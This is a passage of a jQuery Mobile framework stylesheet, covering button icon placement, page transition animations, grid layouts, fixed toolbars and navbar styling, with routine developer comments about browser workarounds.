vertical-align: middle; margin-right: .625em; } .ui-btn-icon-left { padding-left: 2.5em; } .ui-btn-icon-right { padding-right: 2.5em; } .ui-btn-icon-top { padding-top: 2.5em; } .ui-btn-icon-bottom { padding-bottom: 2.5em; } .ui-header .ui-btn-icon-top, .ui-footer .ui-btn-icon-top, .ui-header .ui-btn-icon-bottom, .ui-footer .ui-btn-icon-bottom { padding-left: .3125em; padding-right: .3125em; } .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { content: ""; position: absolute; display: block; width: 22px; height: 22px; } .ui-btn-icon-notext:after, .ui-btn-icon-left:after, .ui-btn-icon-right:after { top: 50%; margin-top: -11px; } .ui-btn-icon-left:after { left: .5625em; } .ui-btn-icon-right:after { right: .5625em; } .ui-mini.ui-btn-icon-left:after, .ui-mini .ui-btn-icon-left:after, .ui-header .ui-btn-icon-left:after, .ui-footer .ui-btn-icon-left:after { left: .37em; } .ui-mini.ui-btn-icon-right:after, .ui-mini .ui-btn-icon-right:after, .ui-header .ui-btn-icon-right:after, .ui-footer .ui-btn-icon-right:after { right: .37em; } .ui-btn-icon-notext:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after { left: 50%; margin-left: -11px; } .ui-btn-icon-top:after { top: .5625em; } .ui-btn-icon-bottom:after { top: auto; bottom: .5625em; } /* Buttons in header position classes */ .ui-header .ui-btn-left, .ui-header .ui-btn-right, .ui-btn-left > [class*="ui-"], .ui-btn-right > [class*="ui-"] { margin: 0; } .ui-btn-left, .ui-btn-right { position: absolute; top: .24em; } .ui-btn-left { left: .4em; } .ui-btn-right { right: .4em; } .ui-btn-icon-notext.ui-btn-left { top: .3125em; left: .3125em; } .ui-btn-icon-notext.ui-btn-right { top: .3125em; right: .3125em; } /* Button elements */ button.ui-btn, .ui-controlgroup-controls button.ui-btn-icon-notext { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-appearance: none; -moz-appearance: none; width: 100%; } button.ui-btn-inline, .ui-header button.ui-btn, .ui-footer button.ui-btn { width: auto; } /* Firefox adds a 1px border in a button element. We negate this to make sure they have the same height as other buttons in controlgroups. */ button.ui-btn::-moz-focus-inner { border: 0; } button.ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 1.75em; } /* Form labels */ .ui-mobile label, .ui-controlgroup-label { display: block; margin: 0 0 .4em; } /* Accessible content hiding */ /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label, .ui-hide-label .ui-controlgroup-label, .ui-hide-label .ui-rangeslider label, .ui-hidden-accessible { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Used for hiding elements by the filterable widget. You can also use this class to hide list items or buttons in controlgroups; this ensures correct corner styling. */ .ui-screen-hidden { display: none !important; } /* Transitions originally inspired by those from jQtouch, nice work, folks */ .ui-mobile-viewport-transitioning, .ui-mobile-viewport-transitioning .ui-page { width: 100%; height: 100%; overflow: hidden; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .ui-page-pre-in { opacity: 0; } .in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .out { -webkit-animation-timing-function: ease-in; -webkit-animation-duration: 225ms; -moz-animation-timing-function: ease-in; -moz-animation-duration: 225ms; animation-timing-function: ease-in; animation-duration: 225ms; } @-webkit-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-moz-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-webkit-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @-moz-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } .fade.out { opacity: 0; -webkit-animation-duration: 125ms; -webkit-animation-name: fadeout; -moz-animation-duration: 125ms; -moz-animation-name: fadeout; animation-duration: 125ms; animation-name: fadeout; } .fade.in { opacity: 1; -webkit-animation-duration: 225ms; -webkit-animation-name: fadein; -moz-animation-duration: 225ms; -moz-animation-name: fadein; animation-duration: 225ms; animation-name: fadein; } .pop { -webkit-transform-origin: 50% 50%; -moz-transform-origin: 50% 50%; transform-origin: 50% 50%; } .pop.in { -webkit-transform: scale(1); -webkit-animation-name: popin; -webkit-animation-duration: 350ms; -moz-transform: scale(1); -moz-animation-name: popin; -moz-animation-duration: 350ms; transform: scale(1); animation-name: popin; animation-duration: 350ms; opacity: 1; } .pop.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; opacity: 0; } .pop.in.reverse { -webkit-animation-name: fadein; -moz-animation-name: fadein; animation-name: fadein; } .pop.out.reverse { -webkit-transform: scale(.8); -webkit-animation-name: popout; -moz-transform: scale(.8); -moz-animation-name: popout; transform: scale(.8); animation-name: popout; } @-webkit-keyframes popin { from { -webkit-transform: scale(.8); opacity: 0; } to { -webkit-transform: scale(1); opacity: 1; } } @-moz-keyframes popin { from { -moz-transform: scale(.8); opacity: 0; } to { -moz-transform: scale(1); opacity: 1; } } @keyframes popin { from { transform: scale(.8); opacity: 0; } to { transform: scale(1); opacity: 1; } } @-webkit-keyframes popout { from { -webkit-transform: scale(1); opacity: 1; } to { -webkit-transform: scale(.8); opacity: 0; } } @-moz-keyframes popout { from { -moz-transform: scale(1); opacity: 1; } to { -moz-transform: scale(.8); opacity: 0; } } @keyframes popout { from { transform: scale(1); opacity: 1; } to { transform: scale(.8); opacity: 0; } } /* keyframes for slidein from sides */ @-webkit-keyframes slideinfromright { from { -webkit-transform: translate3d(100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromright { from { -moz-transform: translateX(100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromright { from { transform: translateX(100%); } to { transform: translateX(0); } } @-webkit-keyframes slideinfromleft { from { -webkit-transform: translate3d(-100%,0,0); } to { -webkit-transform: translate3d(0,0,0); } } @-moz-keyframes slideinfromleft { from { -moz-transform: translateX(-100%); } to { -moz-transform: translateX(0); } } @keyframes slideinfromleft { from { transform: translateX(-100%); } to { transform: translateX(0); } } /* keyframes for slideout to sides */ @-webkit-keyframes slideouttoleft { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(-100%,0,0); } } @-moz-keyframes slideouttoleft { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(-100%); } } @keyframes slideouttoleft { from { transform: translateX(0); } to { transform: translateX(-100%); } } @-webkit-keyframes slideouttoright { from { -webkit-transform: translate3d(0,0,0); } to { -webkit-transform: translate3d(100%,0,0); } } @-moz-keyframes slideouttoright { from { -moz-transform: translateX(0); } to { -moz-transform: translateX(100%); } } @keyframes slideouttoright { from { transform: translateX(0); } to { transform: translateX(100%); } } .slide.out, .slide.in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .slide.out { -webkit-transform: translate3d(-100%,0,0); -webkit-animation-name: slideouttoleft; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; transform: translateX(-100%); animation-name: slideouttoleft; } .slide.in { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromright; -moz-transform: translateX(0); -moz-animation-name: slideinfromright; transform: translateX(0); animation-name: slideinfromright; } .slide.out.reverse { -webkit-transform: translate3d(100%,0,0); -webkit-animation-name: slideouttoright; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; transform: translateX(100%); animation-name: slideouttoright; } .slide.in.reverse { -webkit-transform: translate3d(0,0,0); -webkit-animation-name: slideinfromleft; -moz-transform: translateX(0); -moz-animation-name: slideinfromleft; transform: translateX(0); animation-name: slideinfromleft; } .slidefade.out { -webkit-transform: translateX(-100%); -webkit-animation-name: slideouttoleft; -webkit-animation-duration: 225ms; -moz-transform: translateX(-100%); -moz-animation-name: slideouttoleft; -moz-animation-duration: 225ms; transform: translateX(-100%); animation-name: slideouttoleft; animation-duration: 225ms; } .slidefade.in { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } .slidefade.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: slideouttoright; -webkit-animation-duration: 200ms; -moz-transform: translateX(100%); -moz-animation-name: slideouttoright; -moz-animation-duration: 200ms; transform: translateX(100%); animation-name: slideouttoright; animation-duration: 200ms; } .slidefade.in.reverse { -webkit-transform: translateX(0); -webkit-animation-name: fadein; -webkit-animation-duration: 200ms; -moz-transform: translateX(0); -moz-animation-name: fadein; -moz-animation-duration: 200ms; transform: translateX(0); animation-name: fadein; animation-duration: 200ms; } /* slide down */ .slidedown.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slidedown.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfromtop; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfromtop; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfromtop; animation-duration: 250ms; } .slidedown.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slidedown.out.reverse { -webkit-transform: translateY(-100%); -webkit-animation-name: slideouttotop; -webkit-animation-duration: 200ms; -moz-transform: translateY(-100%); -moz-animation-name: slideouttotop; -moz-animation-duration: 200ms; transform: translateY(-100%); animation-name: slideouttotop; animation-duration: 200ms; } @-webkit-keyframes slideinfromtop { from { -webkit-transform: translateY(-100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfromtop { from { -moz-transform: translateY(-100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfromtop { from { transform: translateY(-100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttotop { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(-100%); } } @-moz-keyframes slideouttotop { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(-100%); } } @keyframes slideouttotop { from { transform: translateY(0); } to { transform: translateY(-100%); } } /* slide up */ .slideup.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; } .slideup.in { -webkit-transform: translateY(0); -webkit-animation-name: slideinfrombottom; -webkit-animation-duration: 250ms; -moz-transform: translateY(0); -moz-animation-name: slideinfrombottom; -moz-animation-duration: 250ms; transform: translateY(0); animation-name: slideinfrombottom; animation-duration: 250ms; } .slideup.in.reverse { -webkit-animation-name: fadein; -webkit-animation-duration: 150ms; -moz-animation-name: fadein; -moz-animation-duration: 150ms; animation-name: fadein; animation-duration: 150ms; } .slideup.out.reverse { -webkit-transform: translateY(100%); -webkit-animation-name: slideouttobottom; -webkit-animation-duration: 200ms; -moz-transform: translateY(100%); -moz-animation-name: slideouttobottom; -moz-animation-duration: 200ms; transform: translateY(100%); animation-name: slideouttobottom; animation-duration: 200ms; } @-webkit-keyframes slideinfrombottom { from { -webkit-transform: translateY(100%); } to { -webkit-transform: translateY(0); } } @-moz-keyframes slideinfrombottom { from { -moz-transform: translateY(100%); } to { -moz-transform: translateY(0); } } @keyframes slideinfrombottom { from { transform: translateY(100%); } to { transform: translateY(0); } } @-webkit-keyframes slideouttobottom { from { -webkit-transform: translateY(0); } to { -webkit-transform: translateY(100%); } } @-moz-keyframes slideouttobottom { from { -moz-transform: translateY(0); } to { -moz-transform: translateY(100%); } } @keyframes slideouttobottom { from { transform: translateY(0); } to { transform: translateY(100%); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-flip { -webkit-perspective: 1000; -moz-perspective: 1000; perspective: 1000; position: absolute; } .flip { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -moz-backface-visibility: hidden; -moz-transform: translateX(0); backface-visibility: hidden; transform: translateX(0); } .flip.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 175ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 175ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 175ms; } .flip.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 225ms; -moz-animation-name: flipintoright; -moz-animation-duration: 225ms; animation-name: flipintoright; animation-duration: 225ms; } .flip.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .flip.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* The properties in this rule are only necessary for the 'flip' transition. * We need specify the perspective to create a projection matrix. This will add * some depth as the element flips. The depth number represents the distance of * the viewer from the z-plane. According to the CSS3 spec, 1000 is a moderate * value. */ .viewport-turn { -webkit-perspective: 200px; -moz-perspective: 200px; -ms-perspective: 200px; perspective: 200px; position: absolute; } .turn { -webkit-backface-visibility: hidden; -webkit-transform: translateX(0); /* Needed to work around an iOS 3.1 bug that causes listview thumbs to disappear when -webkit-visibility:hidden is used. */ -webkit-transform-origin: 0; -moz-backface-visibility: hidden; -moz-transform: translateX(0); -moz-transform-origin: 0; backface-visibility :hidden; transform: translateX(0); transform-origin: 0; } .turn.out { -webkit-transform: rotateY(-90deg) scale(.9); -webkit-animation-name: flipouttoleft; -webkit-animation-duration: 125ms; -moz-transform: rotateY(-90deg) scale(.9); -moz-animation-name: flipouttoleft; -moz-animation-duration: 125ms; transform: rotateY(-90deg) scale(.9); animation-name: flipouttoleft; animation-duration: 125ms; } .turn.in { -webkit-animation-name: flipintoright; -webkit-animation-duration: 250ms; -moz-animation-name: flipintoright; -moz-animation-duration: 250ms; animation-name: flipintoright; animation-duration: 250ms; } .turn.out.reverse { -webkit-transform: rotateY(90deg) scale(.9); -webkit-animation-name: flipouttoright; -moz-transform: rotateY(90deg) scale(.9); -moz-animation-name: flipouttoright; transform: rotateY(90deg) scale(.9); animation-name: flipouttoright; } .turn.in.reverse { -webkit-animation-name: flipintoleft; -moz-animation-name: flipintoleft; animation-name: flipintoleft; } @-webkit-keyframes flipouttoleft { from { -webkit-transform: rotateY(0); } to { -webkit-transform: rotateY(-90deg) scale(.9); } } @-moz-keyframes flipouttoleft { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(-90deg) scale(.9); } } @keyframes flipouttoleft { from { transform: rotateY(0); } to { transform: rotateY(-90deg) scale(.9); } } @-webkit-keyframes flipouttoright { from { -webkit-transform: rotateY(0) ; } to { -webkit-transform: rotateY(90deg) scale(.9); } } @-moz-keyframes flipouttoright { from { -moz-transform: rotateY(0); } to { -moz-transform: rotateY(90deg) scale(.9); } } @keyframes flipouttoright { from { transform: rotateY(0); } to { transform: rotateY(90deg) scale(.9); } } @-webkit-keyframes flipintoleft { from { -webkit-transform: rotateY(-90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoleft { from { -moz-transform: rotateY(-90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoleft { from { transform: rotateY(-90deg) scale(.9); } to { transform: rotateY(0); } } @-webkit-keyframes flipintoright { from { -webkit-transform: rotateY(90deg) scale(.9); } to { -webkit-transform: rotateY(0); } } @-moz-keyframes flipintoright { from { -moz-transform: rotateY(90deg) scale(.9); } to { -moz-transform: rotateY(0); } } @keyframes flipintoright { from { transform: rotateY(90deg) scale(.9); } to { transform: rotateY(0); } } /* flow transition */ .flow { -webkit-transform-origin: 50% 30%; -webkit-box-shadow: 0 0 20px rgba(0,0,0,.4); -moz-transform-origin: 50% 30%; -moz-box-shadow: 0 0 20px rgba(0,0,0,.4); transform-origin: 50% 30%; box-shadow: 0 0 20px rgba(0,0,0,.4); } .ui-dialog.flow { -webkit-transform-origin: none; -webkit-box-shadow: none; -moz-transform-origin: none; -moz-box-shadow: none; transform-origin: none; box-shadow: none; } .flow.out { -webkit-transform: translateX(-100%) scale(.7); -webkit-animation-name: flowouttoleft; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(-100%) scale(.7); -moz-animation-name: flowouttoleft; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(-100%) scale(.7); animation-name: flowouttoleft; animation-timing-function: ease; animation-duration: 350ms; } .flow.in { -webkit-transform: translateX(0) scale(1); -webkit-animation-name: flowinfromright; -webkit-animation-timing-function: ease; -webkit-animation-duration: 350ms; -moz-transform: translateX(0) scale(1); -moz-animation-name: flowinfromright; -moz-animation-timing-function: ease; -moz-animation-duration: 350ms; transform: translateX(0) scale(1); animation-name: flowinfromright; animation-timing-function: ease; animation-duration: 350ms; } .flow.out.reverse { -webkit-transform: translateX(100%); -webkit-animation-name: flowouttoright; -moz-transform: translateX(100%); -moz-animation-name: flowouttoright; transform: translateX(100%); animation-name: flowouttoright; } .flow.in.reverse { -webkit-animation-name: flowinfromleft; -moz-animation-name: flowinfromleft; animation-name: flowinfromleft; } @-webkit-keyframes flowouttoleft { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(-100%) scale(.7); } } @-moz-keyframes flowouttoleft { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(-100%) scale(.7); } } @keyframes flowouttoleft { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(-100%) scale(.7); } } @-webkit-keyframes flowouttoright { 0% { -webkit-transform: translateX(0) scale(1); } 60%, 70% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(100%) scale(.7); } } @-moz-keyframes flowouttoright { 0% { -moz-transform: translateX(0) scale(1); } 60%, 70% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(100%) scale(.7); } } @keyframes flowouttoright { 0% { transform: translateX(0) scale(1); } 60%, 70% { transform: translateX(0) scale(.7); } 100% { transform: translateX(100%) scale(.7); } } @-webkit-keyframes flowinfromleft { 0% { -webkit-transform: translateX(-100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromleft { 0% { -moz-transform: translateX(-100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromleft { 0% { transform: translateX(-100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } @-webkit-keyframes flowinfromright { 0% { -webkit-transform: translateX(100%) scale(.7); } 30%, 40% { -webkit-transform: translateX(0) scale(.7); } 100% { -webkit-transform: translateX(0) scale(1); } } @-moz-keyframes flowinfromright { 0% { -moz-transform: translateX(100%) scale(.7); } 30%, 40% { -moz-transform: translateX(0) scale(.7); } 100% { -moz-transform: translateX(0) scale(1); } } @keyframes flowinfromright { 0% { transform: translateX(100%) scale(.7); } 30%, 40% { transform: translateX(0) scale(.7); } 100% { transform: translateX(0) scale(1); } } .ui-field-contain, .ui-mobile fieldset.ui-field-contain { display: block; position: relative; overflow: visible; clear: both; padding: .8em 0; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { margin: 0; } .ui-field-contain:last-child { border-bottom-width: 0; } @media (min-width: 28em) { .ui-field-contain, .ui-mobile fieldset.ui-field-contain { padding: 0; margin: 1em 0; border-bottom-width: 0; } .ui-field-contain:before, .ui-field-contain:after { content: ""; display: table; } .ui-field-contain:after { clear: both; } .ui-field-contain > label, .ui-field-contain .ui-controlgroup-label, .ui-field-contain > .ui-rangeslider > label { float: left; width: 20%; margin: .5em 2% 0 0; } .ui-popup .ui-field-contain > label, .ui-popup .ui-field-contain .ui-controlgroup-label, .ui-popup .ui-field-contain > .ui-rangeslider > label { float: none; width: auto; margin: 0 0 .4em; } .ui-field-contain > label ~ [class*="ui-"], .ui-field-contain .ui-controlgroup-controls { float: left; width: 78%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label ~ [class*="ui-"], .ui-hide-label .ui-controlgroup-controls, .ui-popup .ui-field-contain > label ~ [class*="ui-"], .ui-popup .ui-field-contain .ui-controlgroup-controls { float: none; width: 100%; } .ui-field-contain > label ~ .ui-btn-inline { width: auto; margin-right: .625em; } .ui-field-contain > label ~ .ui-btn-inline.ui-btn-icon-notext { width: 1.75em; } } /* content configurations. */ .ui-grid-a, .ui-grid-b, .ui-grid-c, .ui-grid-d, .ui-grid-solo { overflow: hidden; } .ui-block-a, .ui-block-b, .ui-block-c, .ui-block-d, .ui-block-e { margin: 0; padding: 0; border: 0; float: left; min-height: 1px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } /* force new row */ .ui-block-a { clear: left; } ul.ui-grid-a, ul.ui-grid-b, ul.ui-grid-c, ul.ui-grid-d, ul.ui-grid-solo, li.ui-block-a, li.ui-block-b, li.ui-block-c, li.ui-block-d, li.ui-block-e { margin-left: 0; margin-right: 0; padding: 0; list-style: none; } /* No margin in grids for 100% width button elements until we can use max-width: fill-available; */ [class*="ui-block-"] > button.ui-btn { margin-right: 0; margin-left: 0; } [class*="ui-block-"] > .ui-btn, [class*="ui-block-"] > .ui-select, [class*="ui-block-"] > .ui-checkbox, [class*="ui-block-"] > .ui-radio, [class*="ui-block-"] > button.ui-btn-inline, [class*="ui-block-"] > button.ui-btn-icon-notext, .ui-header [class*="ui-block-"] > button.ui-btn, .ui-footer [class*="ui-block-"] > button.ui-btn { margin-right: .3125em; margin-left: .3125em; } .ui-grid-a > .ui-block-a, .ui-grid-a > .ui-block-b { /* width: 49.95%; IE7 */ /* margin-right: -.5px; BB5 */ width: 50%; } .ui-grid-b > .ui-block-a, .ui-grid-b > .ui-block-b, .ui-grid-b > .ui-block-c { /* width: 33.25%; IE7 */ /* margin-right: -.5px; BB5 */ width: 33.333%; } .ui-grid-c > .ui-block-a, .ui-grid-c > .ui-block-b, .ui-grid-c > .ui-block-c, .ui-grid-c > .ui-block-d { /* width: 24.925%; IE7 */ /* margin-right: -.5px; BB5 */ width: 25%; } .ui-grid-d > .ui-block-a, .ui-grid-d > .ui-block-b, .ui-grid-d > .ui-block-c, .ui-grid-d > .ui-block-d, .ui-grid-d > .ui-block-e { /* width: 19.925%; IE7 */ width: 20%; } .ui-grid-solo > .ui-block-a { width: 100%; float: none; } /* preset breakpoint to switch to stacked grid styles below 35em (560px) */ @media (max-width: 35em) { .ui-responsive > .ui-block-a, .ui-responsive > .ui-block-b, .ui-responsive > .ui-block-c, .ui-responsive > .ui-block-d, .ui-responsive > .ui-block-e { width: 100%; float: none; } } /* fixed page header & footer configuration */ .ui-header-fixed, .ui-footer-fixed { left: 0; right: 0; width: 100%; position: fixed; z-index: 1000; } .ui-header-fixed { top: -1px; padding-top: 1px; } .ui-header-fixed.ui-fixed-hidden { top: 0; padding-top: 0; } .ui-header-fixed .ui-btn-left, .ui-header-fixed .ui-btn-right { margin-top: 1px; } .ui-header-fixed.ui-fixed-hidden .ui-btn-left, .ui-header-fixed.ui-fixed-hidden .ui-btn-right { margin-top: 0; } .ui-footer-fixed { bottom: -1px; padding-bottom: 1px; } .ui-footer-fixed.ui-fixed-hidden { bottom: 0; padding-bottom: 0; } .ui-header-fullscreen, .ui-footer-fullscreen { filter: Alpha(Opacity=90); opacity: .9; } /* updatePagePadding() will update the padding to actual height of header and footer. */ .ui-page-header-fixed { padding-top: 2.8125em; } .ui-page-footer-fixed { padding-bottom: 2.8125em; } .ui-page-header-fullscreen > .ui-content, .ui-page-footer-fullscreen > .ui-content { padding: 0; } .ui-fixed-hidden { position: absolute; } /* Tap toggle: hide external fixed footer. See issue #6604 */ .ui-footer-fixed.ui-fixed-hidden { display: none; } .ui-page .ui-footer-fixed.ui-fixed-hidden { display: block } .ui-page-header-fullscreen .ui-fixed-hidden, .ui-page-footer-fullscreen .ui-fixed-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-header-fixed .ui-btn, .ui-footer-fixed .ui-btn { z-index: 10; } /* workarounds for other widgets */ .ui-android-2x-fixed .ui-li-has-thumb { -webkit-transform: translate3d(0,0,0); } .ui-navbar { max-width: 100%; } .ui-navbar ul:before, .ui-navbar ul:after { content: ""; display: table; } .ui-navbar ul:after { clear: both; } .ui-navbar ul { list-style: none; margin: 0; padding: 0; position: relative; display: block; border: 0; max-width: 100%; overflow: visible; } .ui-navbar li .ui-btn { font-size: 12.5px; display: block; margin: 0; border-right-width: 0; } .ui-header .ui-navbar li button.ui-btn, .ui-footer .ui-navbar li button.ui-btn { margin: 0; width: 100%; } .ui-navbar .ui-btn:focus { z-index: 1; } /* fixes gaps caused by subpixel problem */ .ui-navbar li:last-child .ui-btn { margin-right: -4px; } .ui-navbar li:last-child .ui-btn:after { margin-right: 4px; } .ui-content .ui-navbar li:last-child .ui-btn, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn { border-right-width: 1px; margin-right: 0; } .ui-content .ui-navbar li:last-child .ui-btn:after, .ui-content .ui-navbar .ui-grid-duo .ui-block-b .ui-btn:after { margin-right: 0; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn { border-right-width: 1px; margin-right: -1px; } .ui-navbar .ui-grid-duo .ui-block-a:last-child .ui-btn:after { margin-right: 1px; } .ui-navbar .ui-grid-duo .ui-btn { border-top-width: 0; } .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } .ui-header .ui-navbar .ui-btn, .ui-footer .ui-navbar .ui-btn { border-top-width: 0; border-bottom-width: 0; } .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 0; } .ui-header .ui-title ~ .ui-navbar .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-btn, .ui-header .ui-navbar .ui-grid-duo .ui-btn, .ui-footer .ui-navbar .ui-grid-duo .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child .ui-btn, .ui-header .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn, .ui-footer .ui-title ~ .ui-navbar .ui-grid-duo .ui-block-a:first-child + .ui-block-b .ui-btn { border-top-width: 1px; } /* Hide the native input element */ .ui-input-btn input { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 0; border: 0; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; background: #fff; background: rgba(255,255,255,0); filter: Alpha(Opacity=0); opacity: .1; font-size: 1px; text-indent: -9999px; z-index: 2; } /* Fixes IE/WP filter alpha opacity bugs */ .ui-input-btn.ui-state-disabled input { position: 